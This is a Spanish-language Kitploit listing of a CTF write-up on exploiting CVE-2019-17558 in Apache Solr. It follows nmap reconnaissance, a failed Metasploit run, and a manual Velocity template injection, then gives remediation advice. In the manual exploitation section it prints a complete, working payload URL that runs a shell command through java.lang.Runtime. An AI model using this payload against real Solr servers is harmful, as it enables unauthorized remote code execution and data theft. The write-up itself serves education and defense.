Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2019-17558-apache-solr-rce — Write-up de CTF que documenta la explotación de CVE-2019-17558 en Apache Solr, cubriendo reconocimiento, limitaciones de Metasploit, inyección manual de plantillas Velocity, captura de flags y remediación. | Kitploit
Herramientas/GitHubGitHub/rogerzeferino/cve-2019-17558-apache-solr-rce
ReconocimientoAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebCTFPruebas de PenetraciónAprendizaje y Educación
GitHubrogerzeferino/cve-2019-17558-apache-solr-rce

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

cve-2019-17558-apache-solr-rce

Write-up de CTF que documenta la explotación de CVE-2019-17558 en Apache Solr, cubriendo reconocimiento, limitaciones de Metasploit, inyección manual de plantillas Velocity, captura de flags y remediación.

Ver Repositorio
116hace 1 mesAún no revisado
Compartir

Apache Solr RCE (CVE-2019-17558) - Write-up de CTF

Explotación práctica de una vulnerabilidad de inyección de plantillas Velocity (Velocity Template Injection) en Apache Solr, evolucionando de una falla en una herramienta automatizada (Metasploit) a una explotación manual exitosa.

Este write-up documenta el razonamiento completo del ejercicio, centrado en el diagnóstico de la falla de la herramienta y en el pivote hacia la explotación manual.

Escenario

ÍtemDescripción
ObjetivoServidor Linux ejecutando Apache Solr en el puerto 8983
MetaLeer el contenido de un archivo sensible (/home/favorite_book.txt)
VulnerabilidadCVE-2019-17558 (RCE vía Velocity Response Writer)

1. Reconocimiento

La fase inicial consistió en la identificación de servicios activos en el host objetivo.

nmap -sV -p- <TARGET_IP>

Resultados.

  • Puerto 8983/tcp abierto.
  • Servicio identificado como Apache Solr.
  • Core identificado a través del panel web, novacollection.

2. Análisis de la Vulnerabilidad

Al acceder al panel administrativo, se confirmó que la versión de Solr era vulnerable a Velocity Template Injection.

La falla ocurre cuando el atacante logra cambiar la configuración params.resource.loader.enabled a true, lo que permite el uso de plantillas Velocity personalizadas y, a partir de ahí, la ejecución de código Java arbitrario en el servidor.

3. Explotación Automatizada (Metasploit)

Inicialmente se utilizó el módulo exploit/multi/http/solr_velocity_rce.

El exploit logró cambiar la configuración de Solr con éxito.

[+] params.resource.loader.enabled is true for core 'novacollection'

Sin embargo, la etapa final de inyección del payload falló con un error de ejecución de Ruby.

NoMethodError: undefined method 'body' for nil:NilClass

Esto indicó que, aunque el entorno era vulnerable y ya estaba preparado, la herramienta no pudo procesar la respuesta del servidor para finalizar el ataque. El objetivo no estaba protegido; solo el método de entrega del módulo necesitaba ajustarse.

4. Explotación Manual

Con el Velocity Writer ya habilitado por Metasploit, la inyección se realizó manualmente mediante una petición HTTP GET, eludiendo el error del script. La plantilla Velocity se construyó para instanciar java.lang.Runtime y ejecutar el comando de lectura del archivo objetivo.

http://<TARGET_IP>:8983/solr/novacollection/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat+/home/favorite_book.txt%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Comando efectivamente ejecutado en el servidor.

cat /home/favorite_book.txt

5. Resultado

La inyección fue exitosa y el contenido del archivo se devolvió directamente en el cuerpo de la respuesta HTTP, renderizado en el navegador, permitiendo la captura de la flag.

Aprendizajes

  • Limitación de las herramientas. Los escáneres y exploits automatizados pueden fallar por peculiaridades del entorno o bugs en el propio módulo.
  • Conocimiento de base. Entender el funcionamiento de la CVE-2019-17558 fue lo que permitió pivotar de una falla de la herramienta a un ataque manual exitoso.
  • Persistencia. El error NoMethodError no significaba un objetivo seguro, solo que el método de entrega necesitaba ajuste.

Remediación

  • Actualizar Apache Solr a una versión corregida (8.4 o superior).
  • Asegurarse de que params.resource.loader.enabled permanezca deshabilitado.
  • Restringir el acceso al puerto 8983 únicamente a redes confiables, nunca exponiendo Solr directamente a internet.
  • Monitorear peticiones al endpoint select con parámetros wt=velocity, útiles como firma de detección en SIEM.

Referencias

  • CVE-2019-17558 (NVD y documentación oficial de Apache Solr).

Disclaimer

Este repositorio fue creado con fines educativos y de documentación de aprendizaje en un entorno controlado (CTF). No utilice estas técnicas contra sistemas sin autorización explícita.

Descargar herramienta